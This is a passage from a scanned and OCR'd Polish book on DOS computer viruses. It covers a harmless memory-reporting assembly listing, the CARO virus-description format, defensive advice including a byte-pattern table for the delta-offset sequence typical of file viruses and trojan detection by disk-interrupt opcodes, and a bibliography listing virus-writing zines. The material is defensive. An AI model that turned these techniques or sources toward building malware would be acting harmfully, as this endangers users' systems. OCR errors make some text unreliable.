       jnz   DzielPrzez10                ;  \ 
       or    ax,ax                       ;   \ 
       jnz   DzielPrzez10                ; --- czy liczba jest juz rowna 0 
                                         ; NIE - dziel dalej 
       call  DrukLn                      ; TAK - wyswietl bufor 
 
       pop   si dx bx ax                 ; przywroc zmieniane rejestry 
 
       ret                               ; powrot 
 
;----------------------------------------------------------------------------- 
Dziel32:                                 ; dziel (DX:AX)/BX 
       push  bp                          ; zachowaj BP 
 
       push  ax                          ; zachowac mniejsza czesc liczby 32 
bitowej 
 
       mov   ax,dx                       ; przenies b. znacz. czesc do mniej. 
znacz. 
       xor   dx,dx                       ; i wyzeruj DX, DX:AX = > 0:DX 
 
       div   bx                          ; podziel (0:DX)/BX 
 
       mov   bp,ax                       ; calosc z dzielenia to wieksza czesc 
wyniku 
 

background image

       pop   ax                          ; przywroc do AX mniej znaczaca liczbe 
z poczatku 
 
       div   bx                          ; DX jest reszta z dzielenia b. znacz. 
czesci przez BX 
       mov   bx,dx                       ; w BX reszta z dzielenia 
 
       mov   dx,bp                       ; DX:AX=liczba podzielona przez BX, 
                                         ; a w BX reszta z dzielenia 
       pop   bp                          ; przywroc zmieniany rejestr 
 
       ret                               ; powrot 
 
 
;----------------------------------------------------------------------------- 
DrukLn: 
       push  si                          ; zachowaj zmieniany rejestr 
 
       call  Druk                        ; wyswietl tekst z CS:SI 
 
       lea   si,TeCRLF                   ; \ i przejdz do nastepnej linii 
       Call  Druk                        ; / 
 
       pop   si                          ; przywroc zmieniany rejestr 
 
       ret                               ; powrot 
 
;----------------------------------------------------------------------------- 
Druk: 
       push  ax si                       ; zachowaj zmieniane rejestry 
 
DrukPetla: 
       lods  byte ptr cs:[si]            ; wez kolejny znak tekstu 
       or    al,al                       ; czy NUL ? 
 
       jz    DrukPowrot                  ; TAK - koniec tekstu 
 
       mov   ah,0Eh                      ; funkcja BIOS - wyswietl znak 
       int   10h                         ; wywolaj funkcje 
 
       jmp   short DrukPetla             ; pobierz kolejny znak tekstu 

background image

 
DrukPowrot: 
       pop  si ax                        ; przywroc zmieniane rejestry 
 
       ret                               ; powrot 
 
  TeCopyRight db CR,LF,'MEM640 v1.0, Autor : Adam Blaszczyk 1997' 
              db CR,LF 
              db CR,LF,'Wielkosc pamieci w bajtach :',NUL 
      TeCMOS  db ' _ CMOS                     : ',NUL 
      TeInt12 db ' _ INT 12                   : ',NUL 
TeZmiennaBIOS db ' _ Zmienna BIOS 0000:0412   : ',NUL 
        TeMCB db ' _ Suma blokow MCB (<640kB) : ',NUL 
       TeCRLF db CR,LF,NUL 
       Hex2DecBufor     db 11 dup(?)     ; bufor na liczbe dzisietna 
 
PROG ENDS 
 
END Start 
 

ROZDZIAŁ 13

 

 
CARO (Computer Antyvirus Research Organization) jest organizacją zrzeszającą 
autorów programów antywirusowych z całego świata. Jednym z zadań, które stawia 
sobie organizacja, jest ujednolicenie nazewnictwa oraz opisu istniejących wirusów. Dla 
własnych potrzeb organizacja stworzyła coś w rodzaju specyfikacji opisu wirusów, 
zwanej CaroBase. 
Plik w formacie CARO jest zwykłym plikiem tekstowym i zawiera następujące pola i 
etykiety: 
CAROBASE_BANNER: na początku pliku; zawiera informacje o autorze opracowania 
itd.   
CAROBASE_LINGUA: określa język, w którym napisany jest dokument; najczęściej jest 
to angielski (English). 
CAROBASE_START: znacznik końca CAROBASE BANNER, zaraz po tym polu 
rozpoczyna się pierwszy rekord opisu (każdy rekord opisuje jednego wirusa). 
CAROBASE_END: kończy ostatni rekord opisu. 
 
Możliwe rekordy zawierające opis to: 
NAME: nazwa w standardzie CARO. 
ALIASES: lista oddzielonych kropką, innych nazw wirusa; w przypadku braku - puste 
pole; nazwa może zawierać znaki przestankowe; cudzysłów () oznacza propozycję 
nazwy. 
NAME.HISTORY: oddzielone przecinkami poprzednie nazwy w konwencji CARO (jeżeli 
istniały). 

background image

LAST_NAME_CHANGE: data ostatniej zmiany nazwy wirusa. 
TARGETS: określa obiekty atakowane przez wirusa; możliwe obiekty to: 
COM - pliki COM, rozpoznawane po pierwszych 2 bajtach programu. 
EXE - 

pliki EXE, rozpoznawane po pierwszych 2 bajtach programu (równe MZ lub ZM). 

.COM - pliki COM, rozpoznawane po rozszerzeniu pliku. .EXE - pliki EXE, 
rozpoznawane po rozszerzeniu pliku. ZM - w przypadku, gdy wirus sprawdza pierwsze 2 
bajty programu (znacznik MZ lub ZM). SYS - 

zaraża sterowniki w plikach SYS. OVR - 

zaraża pliki nakładkowe. 
NE_W - potrafi in

fekować pliki new executable dla Windows. NE_OS2 - potrafi 

infekować pliki new executable dla OS/2. NewEXE - potrafi infekować pliki new 
executable, ale bez sprawdzania systemu, dla którego plik Jest przeznaczony. DIR - 
zaraża przy użyciu JAP. 
MBR - infeku

je Główny Rekord Ładujący twardego dysku. FBR - zaraża BOOT-sektory 

dyskietek. HER - 

zaraża BOOT-sektory twardych dysków. BAT - zaraża pliki wsadowe 

BAT. OBJ - 

zaraża pliki OBJ. LIB - zaraża pliki LIB. 

COMP - 

wirus jest typu towarzyszącego (w nawiasie może być określone rozszerzenie 

plików wykorzystywanych przez wirusa, np. EXE/COM).   
OTHER - 

wirus infekuje inny obiekt, nie opisany powyżej. 

RESIDENT: określa, czy wirus zostawia po uruchomieniu jakiś ślad w pamięci; 
możliwe wartości to: 
NONE - to nie jest wirus rezydentny. 
PAYLOAD - 

wirus nie jest rezydentny, ale instaluje rezydentny kod, np. bombę. 

IVT - 

wirus rezyduje w tablicy przerwań.   

FIRSTMCB - 

wirus rezyduje w MCB należącym do DOS-a.   

BUFFER - 

wirus rezyduje w obszarze buforów DOS.   

LOW - 

wirus rezyduje jak zwykły TSR.   

TWIXT (przestarzałe) - wirus rezyduje za ostatnim blokiem pamięci. 
TwixtAny - wirus zmniejsza rozmiar aktualnego MCB.   
TwixtZ - 

wirus zmniejsza rozmiar aktualnego MCB, jeżeli jest to ostatni blok w łańcuchu 

(tzn. MCB ma znacznik Z).   
NewMCB - 

wirus zmniejsza rozmiar aktualnego MCB i tworzy w tak powstałym bloku 

nowy MCB z przepisaniem znacznika z aktualnego bloku. 
NewEndMCB - 

zmniejsza aktualny blok MCB i tworzy w tak powstałym miejscu nowy 

MCB ze znacznikiem Z; w aktualnym MCB zmienia znacznik bloku na M. 
UPPER - 

wirus próbuje zaalokować pamięć powyżej 640kB (UMB). 

HIGH - 

wirus próbuje zaalokować pamięć w obszarze od IMb do (l Mb + 64 Kb - 16). 

TOP - 

wirus rezyduje w bloku pamięci powstałym na skutek zmniejszenia pamięci 

widzianej przez BIOS (zmienna 0040:0013).   
UNMARKED - 

wirus rezyduje na końcu dostępnej pamięci, jednak miejsca tego w żaden 

sposób nie chroni.   
VIDEO - 

wirus rezyduje w pamięci ekranu.   

EXT - 

wirus rezyduje w pamięci XMS.   

EXP - 

wirus rezyduje w pamięci EMS.   

AT addr - 

wirus rezyduje w pamięci pod wyspecyfikowanym adresem [addr] i miejsca 

tego w żaden sposób nie chroni przed zapisem, np. w obszarze zmiennych DOS. 
OTHER - 

wirus instaluje się w pamięci przy pomocy innej, me opisanej powyżej techniki. 

Below - 

wirus manipuluje blokami MCB i lokuje się w pamięci przed aktualnym blokiem 

background image

MCB. 
MEMORY_SIZE: określa ilość pamięci zajmowanej przez wirusa w pamięci w bajtach, 
kilobajtach (na końcu litera K) lub w paragrafach (litera P na końcu). 
STORAGE_SIZE: rozmiar 

wirusa na dysku w bajtach, kilobajtach (na końcu litera K), 

jednostkach JAP (na końcu litera C) lub sektorach (litera S na końcu); 
w przypadku wyrównywania długości pliku do jakiejś wielokrotności należy to uwzględnić 
w długości wirusa. 
WHERE: opisuje spo

sób działania wirusa (może być to lista oddzielona kropkami). 

 
Dla plików są możliwe: 
OVERWRITES - wirus nadpisuje i w efekcie niszczy plik.   
PREPENDING - 

wirus umieszcza swój kod w pliku przed oryginalnym kodem programu 

(przesuwa oryginalny kod do przodu).   
MOVE - 

wirus zachowuje nadpisywany przez siebie początek pliku na jego końcu. 

APPENDING (przestarzałe) - wirus dopisuje się na końcu pliku.   
EOIMAGE - 

dopisuje się za obrazem pliku EXE (długość obrazu obliczana jest na 

podstawie nagłówka).   
EOFILE - wir

us dopisuje się na końcu pliku.   

HEADER - 

wirus instaluje się w nagłówku pliku EXE.   

SPLIT - 

wirus umieszcza siew pliku pomiędzy nagłówkiem pliku EXE a resztą pliku. 

DATA - 

wirus nadpisuje obszar pliku zawierający stałe wartości (np. ciąg zer). 

RANDOM - 

plik doczepia się w przypadkowym miejscu pliku.   

SLACK - 

wirus korzysta z luki powstałej na końcu pliku nie wykorzystującego całej JAP. 

COMPANION - 

wirus jest typu towarzyszącego.   

OTHER - 

wirus używa innej techniki, nie opisanej powyżej. 

 
Dla sek

torów możliwe są: 

AT ttt/hh/ss - 

na ścieżce ttt, głowicy hh, w sektorze ss.   

AT_LSN nn - w logicznym sektorze nn.   
AT_CN nn - w JAP numer nn. 
TRACK nn - 

na dodatkowej ścieżce nn.   

BAD - 

w jednostce JAP oznaczonej jako zła. 

 
STEALTH: określa listę przerwań i funkcji wykorzystywanych przez wirusa; 
możliwe są dwa kluczowe słowa: 
NONE - 

wirus nie używa techniki stealth. 

DRIVER - 

wirus instaluje się jako sterownik. 

 
POLYMORPHIC: określa, Jak polimorficzny jest wirus, przecinek oddziela słowa 
kluczowe, możliwe są: 
NONE - 

wirus nie używa procedur szyfrujących.   

CONST - 

wirus używa stałego sposobu szyfrowania, ze stałą procedurą dekodera. 

VAR - 

wirus używa zmiennej procedury szyfrującej, ale stałego dekodera. 

WILDCARD - 

wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera, 

możliwego do wykrycia przy użyciu sygnatur ze znakami globalnymi. 
POLY-nn - 

wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera; 

liczba nn określa ilość stałych bajtów (w dowolnym miejscu w dekoderze); 00 - oznacza 

background image

najbardziej zaawansowany polimorfizm.   
ENTRY - 

wirus ukrywa miejsce wejścia do kodu.   

SWAP - 

wirus przemieszcza (na zasadzie anagramu) część swojego kodu. 

OTHER - 

wirus używa innego polimorfizmu, nie opisanego powyżej. 

 
ARMOURING: sposoby obrony stosowane prze

z wirusa; możliwe to: 

NONE - 

wirus nie stosuje żadnych metod. 

CODE - wirus stosuje sztuczki antydeasemblerowe. 
CRYPT - wirus stosuje kilkustopniowe szyfrowanie. 
TRACE - 

wirus wyłącza przerwania INT l i INT 3. 

KBD - 

wirus wyłącza klawiaturę podczas uruchamiania. 

SELFTRACE - 

wirus używa INT 1 i INT 3 w dekoderze. 

INT1 - 

wirus używa INT 1, INT3 - wirus używa INT 3. 

PREFETCH - 

wirus używa sztuczek antydebuggerowych, wykorzystujących kolejkę 

rozkazowa do wykrycia, czy jego kod nie jest śledzony przy użyciu debuggera.   
OTHER - 

wirus używa innej techniki, nie opisanej powyżej. 

 
TUNNELLING: określa, czy wirus używa tunelingu. 
NONE - 

wirus nie używa tunelingu. NEXT - wirus potrafi ominąć ostatnio zainstalowany 

program TSR. 
HAND21 - wirus potrafi odna

leźć i wykorzystać oryginalny adres wejścia do przerwania 

21h. 
DRIVER - 

wirus używa procedur obsługi sterowników.   

SECTOR - 

wirus używa INT 13h przy dostępie do dysku.   

HAND13 - 

wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania 

INT 13h. 
BIOS - 

wirus używa bezpośrednich wywołań procedur ROM" BIOS do obsługi dysków. 

HARDWARE - 

wirus używa dostępu do dysku poprzez porty.   

OTHER -

wirus używa innej techniki tunelingu, nie opisanej powyżej. 

 
W przypadku HAND21, HAND13 i BIOS można wyliczyć (w nawiasach) metody 
wyszukiwania oryginalnego adresu; możliwe słowa kluczowe to: 
TRACE - 

wirus używa trybu krokowego do odnalezienia oryginalnego wejścia do 

przerwania.   
2F - 

wirus używa funkcji (13/2F). 

TABLE - 

wirus używa tablicy z adresami do odnalezienia oryginalnego wejścia do 

przerwania. 
SCAN - 

wirus skanuje pamięć w poszukiwaniu łańcucha bajtów charakterystycznych dla 

danego przerwania.   
OTHER - inna metoda. 
 
INFECTIVITY: 
O - to nie jest wirus. 
1 - 

wirus, który dość wolno się rozpowszechnia. 

2 - 

odpowiada szybkości rozmnażania się nierezydentnego wirusa nadpisującego. 

3 - 

odpowiada szybkości rozmnażania się wirusa nierezydentnego zarażającego jeden 

plik po uruchomieniu. 

background image

4 - 

odpowiada szybkości rozmnażania się wirusa rezydentnego zarażającego pliki tylko 

przy uruchomieniu ofiary. 
5 - szybki infektor. 
6 - 

odpowada szybkości romnażania się wirusów zarażających MBR. 

7 - bardzo szybki infektor. 
 
OBVIOUSNESS: 
określa, jak łatwo wirus jest zauważalny przez użytkownika. 
EXTREMELY - 

wirus zawiera groźny ładunek, łatwy do zauważenia. 

QUITE - 

wirus zawiera ładunek dość łatwy do zauważenia.   

SLIGHTLY - 

wirus zawiera ładunek powodujący efekt trudny do zauważenia. 

NONE - 

wirus nie jest możliwy do zauważenia bez użycia specjalnego programu 

(najczęściej antywirusowego). 
 
COMMONNESS: 
rozpowszechnienie w świecie (pod względem ilości zgłoszeń infekcji). 
0 - 

nieznany: najczęściej trywialny, nadpisujący, łatwy do wykrycia. 

1 - 

bardzo słabo znany. 

2 - 

słabo znany (kilka zgłoszeń). 

3 - 

znany (przynajmniej jedno zgłoszenie od znawcy wirusów). 

4 - 

znany na całym świecie. 

5 - bardzo znany. 
6 - 

bardzo znany w przeszłości. 

 
COMMONNESS_DATE: 
określa, kiedy powyższe pole było modyfikowane; data zapisywana jest w formacie 
rrrr-mm-dd. 
TRANSIENT_DAMAGE: efekt działania wirusa nie jest niszczący. 
T_DAMAGE    TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony.   
PERMANENT_DAMAGE: określa, jakie zniszczenia może spowodować wirus. 
P_DAMAGE_TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony. 
SIDE_EFFECTS: znane efekty uboczne powodowane przez wirusa. 
INFECTION_TRIGGER: określa, kiedy wirus infekuje (np. COM, gdy długość pliku ofiary 
> 100 bajtów). 
MSG_DISPLAYED: określa łańcuch (podany w cudzysłowie) wyświetlany przez wirusa; 
jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted". 
MSG_NOT_DISPLAYED: określa łańcuch (podany w cudzysłowie) zawarty w wirusie; 
jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted". 
INTERRUPTS_HOOKED: przedzielona przecink

ami lista przerwań i funkcji przejętych 

przez wirusa; liczby podane jako HEX. 
SELFREC_IN_MEMORY: określa, w jaki sposób wirus sprawdza, czy jest już 
zainstalowany w pamięci. 
SELFREC_ON_DISK: określa, w jaki sposób wirus sprawdza, czy obiekt jest 
zainfekowany.   
LIMITATIONS: określa ograniczenia wirusa (hardware, software).   
COMMENTS: komentarz na temat wirusa.   
ANALYSIS_BY: określa, kto analizował wirusa.   

background image

DOCUMENTATION_BY: opisuje, kto sporządził dokumentację. 
ENTRY_DATE: określa datę, kiedy baza danych o wirusie została stworzona; data ma 
format: rrrr-mm-dd. 
LAST_MODIFIED: określa datę, kiedy baza danych o wirusie była ostatnio 
modyfikowana; data ma format: rrrr-mm-dd. 
SEE_ALSO: określa, do jakich wirusów opisywany wirus jest podobny.   
END: oznacza koniec opisu wirusa. 
 

ROZDZIAŁ 14 

 

Najlepsza metoda ustrzeżenia się przed wirusami polega na sprawdzaniu nieznanych 
plików (programów, dokumentów) możliwie najnowszym programem antywirusowym 
(jeżeli to możliwe, to kilkoma różnymi). Bardzo ważnym elementem działań 
zapobiegawczych jest także regularne tworzenie kopii awaryjnych, zawierających 
najważniejsze pliki, będące zwykle efektami mozolnej pracy. Choć niektórym osobom 
może się to wydać niepotrzebne, prędzej czy później kopie te okażą się niezbędne, i to 
nie tylk

o ze względu na wirusy. Nie ma bowiem chyba takiego użytkownika, któremu w 

pewnym momencie komputer nie odmówił posłuszeństwa- Pół biedy, gdy usterka jest 
trywialna, gorzej, gdy zostanie uszkodzona najważniejsza chyba, poza procesorem, 
część komputera: dysk twardy, W takiej sytuacji kopia awaryjna jest jedyną deską 
ratunku. Obecność wirusa w systemie to nie straszna tragedia, zwłaszcza, że większość 
wirusów, wbrew powszechnej opinii, nie zawiera procedur destrukcyjnych. W przypadku 
zainfekowania komputera n

ie należy więc od razu formatować dysku twardego. Co 

więcej, wykonanie tej operacji wcale nie oznacza pozbycia się intruza z systemu. 
Poniżej zamieszczono informacje na temat specyficznych, działających tylko dla 
wybranych obiektów, metod. 
 
14.1. Ochrona p

rzed wirusami plików uruchamialnych 

Oprócz sprawdzenia programem antywirusowym pliki uruchamial-ne można dodatkowo 
pobieżnie zanalizować przy użyciu debuggera. 
Wprawny użytkownik bowiem często już po kilku, kilkunastu instrukcjach kodu programu 
rozpozna, c

zy nie zawiera on wirusa i poprzez przerwanie jego działania uniemożliwi 

infekcję systemu. Oczywiście powyższa metoda wydawać się może bardzo amatorska, 
jednak jest skuteczna, jak zresztą większość tego typu sposobów, gdyż pozwala wykryć 
nowe wirusy, których nie rozpoznają jeszcze programy antywirusowa. Na przykład 
wykrycie podanej poniżej sekwencji na początku badanego programu świadczy prawie 
na pewno o tym, że program ten zawiera wirusa. Jej wykonanie umożliwia bowiem 
uzyskanie relatywnego offsetu, pod k

tórym umieszczony jest w pamięci kod wirusa. 

Wyznaczone przemieszczenie jest przez niego stosowane przy dostępie do zawartych w 
nim danych (za pomocą adresowania pośredniego: bazowego lub indeksowego). 
; Sekwencja znajduj╣ca siŕ na pocz╣tku wiŕkszoťci wirusˇw plikowych 
CALL TRIK            ; wywo│anie procedury TRIK umieťci na stosie offset do 
                     ; nastŕpuj╣cej po niej instrukcji (POP REJ16)  
TRIK: 
POP REJ16            ; zdejmuje ze stosu offset, pod ktˇrym jest umieszczony   
                     ; rozkaz POP REJ16 i umieszcza go w rejestrze 16-bitowym, 

background image

 

 

         ;  najczŕťciej w ktˇrymť z : SI, DI, BP, BX 

SUB REJ16,????       ;  ???? najczŕťciej =3, po tej operacji wartoťŠ REJ16 
                     ; bŕdzie ofsetem wskazuj╣cym na pocz╣tek kodu wirusa,  

 

                     ; wartoťŠ 3 wynika z d│ugoťci rozkazu CALL TRIK, czyli 
                     ; (OE8h 00h 00h) 
Poniżej podano wygląd tej sekwencji dla różnych typów rejestru Rejl6. 
Sekwencje dla różnych kombinacji rejestru REJ16 
Rejestr 16-bitowy 

Sekwencja bajtów 

Kod po deasemblacji 

AX 

E8 00 00 
58 
2D 03 00 

CALL TRIK 
TRIK: POP AX 
SUB AX,3 

CX 

E8 00 00 
59 
83 E9 03 

CALL TRIK 
TRIK: POP CX 
SUB CX,3 

BX 

E8 00 00 
5B 
83 EB 03 

CALL TRIK 
TRIK: POP BX 
SUB BX,3 

DX 

E8 00 00 
5A 
83 EA 03 

CALL TRIK 
TRIK: POP DX 
SUB DX,3 

BP 

E8 00 00 
5D 
83 ED 03 

CALL TRIK 
TRIK: POP BP 
SUB BP,3 

SI 

E8 00 00 
5E 
83 EE 03 

CALL TRIK 
TRIK: POP SI 
SUB SI,3 

DI 

E8 00 00 
5F 
83 EF 03 

CALL TRIK 
TRIK: POP DI 
SUB DI,3 

 
14.2. Ochrona przed bombami logicznymi i końmi trojańskimi 
Ze względu na sposób działania, nieznane szczepionkom antywirusowym konie 
trojańskie i bomby są trudne do wykrycia, gdyż właściwy, destrukcyjny kod może być 
umieszczony w dowolnym miejscu programu, tak więc znalezienie takiej sekwencji nie 
j

est zbyt łatwe (a gdy program jest wewnętrznie skompresowany wręcz niemożliwe). Z 

pomocą przychodzi tu omówiona wcześniej heurystyka, technika polegająca na 
wykrywaniu potencjalnych agresorów na podstawie charakterystycznych sekwencji 
kodu. Najczęściej programy poszukujące koni trojańskich w podejrzanych plikach 
szukają instrukcji wywołań przerwań programowych 13h (sekwencja 0CDh, 013h) lub 
26h (sekwencja 0CDh, 026h), używanych do odczytywania i zapisywania sektorów, 
które ze względu na swe działanie występują raczej rzadko w typowym oprogramowaniu 
użytkowym, gdyż normalne programy nie korzystają z bezpośrednich operacji zapisu na 
sektorach, a najniższy poziom, na jakim działają, to operacje na plikach. 
Potencjalnymi końmi trojańskimi są najnowsze wersje typowych i często używanych 
programów użytkowych, np. antywirusowych i kompresujących, tak więc należy się z 
nimi obchodzić dość ostrożnie. Dobrym rozwiązaniem, pozwalającym uchronić się przed 

background image

większością koni trojańskich i bomb, może być zainstalowanie monitora 
antywirusowego. Konie trojańskie są zwykle pisane przez początkujących programistów, 
którzy do przeprowadzania destrukcji używają funkcji bibliotecznych języków wysokiego 
poziomu, bądź też przerwań programowych, a te mogą być łatwo przechwytywane i 
kontrolowane przez monitor. 
 
14.3. Ochrona przed makrowirusami 
Ze względu na to, iż bez programu antywirusowego trudno jest wykryć wirusy w plikach 
DOC czy XLS, można przedsięwziąć pewne kroki, aby zminimalizować szansę 
zainfekowania systemu: 
> wyłączyć wszystkie makra automatyczne przy pomocy własnoręcznie napisanego 
makra (najlepiej nazwać je AutoExec, dzięki czemu zostanie ono zawsze wywoływane 
podczas uruchamiania Worda): 
SUB MAIN 
DisableAutoMacros 1 
END SUB 
> aby wyłączyć przy uruchamianiu Worda makro AutoExec należy uruchamiać aplikację 
z parametrem /m (WINWORD.EXE /M); 
>    podczas wczytywania plików trzymać wciśnięty klawisz SHIFT, co spowoduje 
zablokowanie automatycznego makra AutoOpen; 
> od czasu do czasu przeglądać listę makr zawartych w szablonie NORMAL.DOT; jeżeli 
zawiera ona jakieś makra automatyczne lub makra o dziwnych, niespotykanych 
nazwach, możliwe, iż szablon jest zainfekowany. Makra można przeglądać za pomocą 
opcji wybieranych z menu Worda PLIK/SZABLONY/ORGA-

NIZATOR/MAKRA, bądź też 

NARZĘDZIA/MAKRO (niektóre makrowirusy potrafią już oszukiwać użytkownika 
chcącego użyć tych funkcji); 
> ze względu na to, iż wirus może nie przejmować żadnego makra automatycznego, 
lecz tylko podmieniać polecenia menu (najczęściej menu PLIK/ZACHOWAJ, 
PLIK/ZACHOWAJ JA

KO), powyższe środki mogą okazać się całkowicie nieskuteczne. 

Jedynym rozwiązaniem jest wtedy użycie najnowszego programu antywirusowego. 
 

ROZDZIAŁ 15

 

 
1. Leonid Bułhak, Ryszard Goczyński, Michał Tuszyński DOS 5.0 od środka 
Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1992. 
2. Stanisław Lenkiewicz Sterowniki urządzeń zewnętrznych w systemie operacyjnym 
MS-DOS Wydawnictwo PLJ, Warszawa 1993. 
3. Eugeniusz Wróbel Asembler 8086/88, Wydawnictwa Naukowo-Technicz-ne, 
Warszawa 1990. 
4. Marek Kotowski Pod zegarem (Asembler 8086/80286), Wydawnictwo Lu-pus, 
Warszawa 1992. 
5. Zbigniew Mroziński Mikroprocesor 8086 {Podręczny Katalog Elektronika), 
Wydawnictwa Naukowo-Techniczne, Warszawa 1992. 
6. Ryszard Goczyński, Michał Tuszyński Mikroprocesory 80286, 80386, i 80486 
Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1991- 
7. Piotr Metzger Anatomia PC Helion, Gliwice 1993. 

background image

8. Krzysztof Kierzenkowski Programowanie z wykorzystaniem pamięci typu extended i 
expanded (Pamięci extended i expanded), Wydawnictwo Lupus, Warszawa 1994, 
9. Arkadiusz Andrusz, Maciej Sokołowski Mapa pamięci IBM/PC w przykładach w 
pascalu i asemblerze , Wydawnictwo Lynx-Sft, Warszawa 1995. 
10. Andrzej Dudek Jak pisać wirusy O.W. Read Me, Jelenia Góra 1993. 
11. Microsoft 

Word, Podręcznik użytkownika Microsoft Corporation 1994. 

12. Microsoft Excel, Opis funkcji Microsoft Corporation 1993. 
13. Władysław Majewski Uwaga! Komputerowe wirusy " Wiedza i Życie", 1989,z.1. 
14. Karol Szyndzielorz Projektanci komputerowych wirusów "Wiedza i Życie", 1989,   
15. Marek Sell Help do programu MKS_Vir. 
16. Phalcon/Skism: 40HEX (issues 1-14). 
17. VLAD: VLAD (issues 1-7). 
18. VBB: Viruses Bits & Bytes (issues 1-2). 
19. Immortal Riot: Insane Reality (issues 4-6). 
20. NuKe: NuKe IntoJournal (issues 4-3). 
21. Dark Angel VirGuide (issues L-?). 
22. Raif Brown Interrupt list 51, 
23. (C) (P) Potemkins Hackers Group Opcodes.lst (revision 1.27), Moscow. 
24. Marl A. Ludwig The Little Black Book about Computer Viruses, volume 1 -The basic 
tcchuology, American Eagle Publications Inc. 1991. 
25. Vessolin Bontchev Future Trends in Virus-Writing Virus Test Center, Uni-versity of 
Hamburg, Germany 1994. 
26. Vesselin Bontchev Possible Virus Attacks Against Integrity Programs and How io 
Prevent them. Virus Test Center, Univercity of Hamburg Germany 1992. 
27. Vosselin Bontchev The Bulgarian and Soviet Virus Pactories Bulgarian Aca-demy of 
Sciences, Sofia, Bułgaria. 
28. Vesselm Bontchev lnVircible Test from Virus Test Center University of Hamburg. 
29. Inside the Mind 

of Dark Ąveriger Personal Computer World, July 1993. 

30. Julian Bibbell Viruses are Good For You USA: WIRED Ventui-es Ltd. 1995. 
31. Sara Gordon Faces Behind the Masks November, England 1994. 
32. Tarkan Yetiser Połymorphic Viruses - Implementation, Detection, and Protec-tion 
USA, Baltimore, VDS Advanced Research Group 1993. 
33. Gary M. Watson A Discussion of Polymorphism Data Plus 1992. 
34. Dmitry O. Gryaznov Scanners of the Year 2000 Senior Virus Research Analyst. 
35. Epidemiology and Computer Viruses Alan, Solomon 1990. 
36. Viriology 101. 
37. Anthony Naggs CAROBASE Format Reference revised edition 1993. 
38.    Donn Seeley A Tour of the Worm Department of Computer Science, University of   
      Utah. 
 
 

--------------- info ------------------ 
orginal book "Wirusy" by Adam Blaszczyk 

scanned and ocr'ed by misha [cp'99] 
misha@vc.pl.             1999.06.08 

--------------------------------------- 

background image